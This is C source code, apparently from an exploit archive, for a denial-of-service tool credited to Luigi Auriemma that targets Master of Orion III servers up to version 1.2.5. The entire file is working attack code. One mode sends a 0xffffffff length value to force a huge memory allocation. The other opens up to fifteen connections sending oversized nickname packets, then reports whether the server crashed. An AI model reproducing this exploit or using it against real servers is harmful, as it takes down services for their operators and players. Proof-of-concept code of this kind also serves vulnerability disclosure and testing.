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- /*
-
- by Luigi Auriemma
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #endif
-
-
-
- #define VER "0.1"
- #define PORT 25711
- #define BUFFSZ 2048
- #define TIMEOUT 3
- #define MAX 15
- #define PCK1 "gniP" "nnoC" /* Connection Ping */ \
- "\x02\x00\x00\x00\x01\x41\x66\xFF\x08\x00\x00\x00\x00\x00"
- #define PCK2 "ofnI" "trtS" /* Start info */ \
- "\x02\x00\x02\x00\x01\x01\x00\x00\x00" \
- "\xff" /* nickname size followed by nickname (wide chars) */ \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-
- #define SEND(x) tmp = htonl(sizeof(x) - 1); \
- if(send(sd, (void *)&tmp, 4, 0) \
- < 0) std_err(); \
- if(send(sd, x, sizeof(x) - 1, 0) \
- < 0) std_err();
-
- #define RECV(x) for(tot = 0; tot < x; tot += tmp) { \
- tmp = recv(sd, buff + tot, BUFFSZ - tot, 0); \
- if(tmp < 0) std_err(); \
- if(!tmp) break; \
- }
-
-
-
- int timeout(int sock);
- u_long resolv(char *host);
- void std_err(void);
-
-
-
- int main(int argc, char *argv[]) {
- int sd,
- i,
- len,
- tot,
- tmp;
- u_short port = PORT;
- u_char buff[BUFFSZ];
- struct sockaddr_in peer;
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "Master of Orion III <= 1.2.5 server crash "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 3) {
- printf("\n"
- "Usage: %s <attack> <server> [port(%d)]\n"
- "\n"
- "Attack:\n"
- " 1 = fast allocation exit\n"
- " 2 = multiple big nicknames crash\n"
- "\n", argv[0], PORT);
- exit(1);
- }
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- if(argc > 3) port = atoi(argv[3]);
-
- peer.sin_addr.s_addr = resolv(argv[2]);
- peer.sin_port = htons(port);
- peer.sin_family = AF_INET;
-
- printf("- target %s:%hu\n",
- inet_ntoa(peer.sin_addr), port);
-
- if(atoi(argv[1]) == 2) {
- printf("- make max %d connections sending a big nickname\n", MAX);
- for(i = 1; i <= MAX; i++) {
- printf(" Connection: %d\n", i);
- sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(sd < 0) std_err();
- if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
- < 0) std_err();
-
- fputs("- send join ping\n", stdout);
- SEND(PCK1);
-
- RECV(4);
- len = ntohl(*(u_long *)buff);
- RECV(len);
-
- fputs("- send join data\n", stdout);
- SEND(PCK2);
-
- fputs("- check if server is crashed\n", stdout);
- if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
- fputs("\nServer IS vulnerable!!!\n", stdout);
- close(sd);
- break;
- }
-
- close(sd);
- }
- if(i > MAX) fputs("\nServer doesn't seem vulnerable\n", stdout);
-
- } else {
- sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(sd < 0) std_err();
- if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
- < 0) std_err();
-
- fputs("- send BOOM data\n", stdout);
- len = 0xffffffff; // bytes to allocate in memory
- if(send(sd, (void *)&len, 4, 0)
- < 0) std_err();
-
- if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
- fputs("\nServer IS vulnerable!!!\n", stdout);
- } else {
- fputs("\nServer doesn't seem vulnerable\n", stdout);
- }
-
- close(sd);
- }
-
- return(0);
- }
-
-
-
- int timeout(int sock) {
- struct timeval tout;
- fd_set fd_read;
- int err;
-
- tout.tv_sec = TIMEOUT;
- tout.tv_usec = 0;
- FD_ZERO(&fd_read);
- FD_SET(sock, &fd_read);
- err = select(sock + 1, &fd_read, NULL, NULL, &tout);
- if(err < 0) std_err();
- if(!err) return(-1);
- return(0);
- }
-
-
-
- u_long resolv(char *host) {
- struct hostent *hp;
- u_long host_ip;
-
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE) {
- hp = gethostbyname(host);
- if(!hp) {
- printf("\nError: Unable to resolve hostname (%s)\n", host);
- exit(1);
- } else host_ip = *(u_long *)hp->h_addr;
- }
- return(host_ip);
- }
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-
-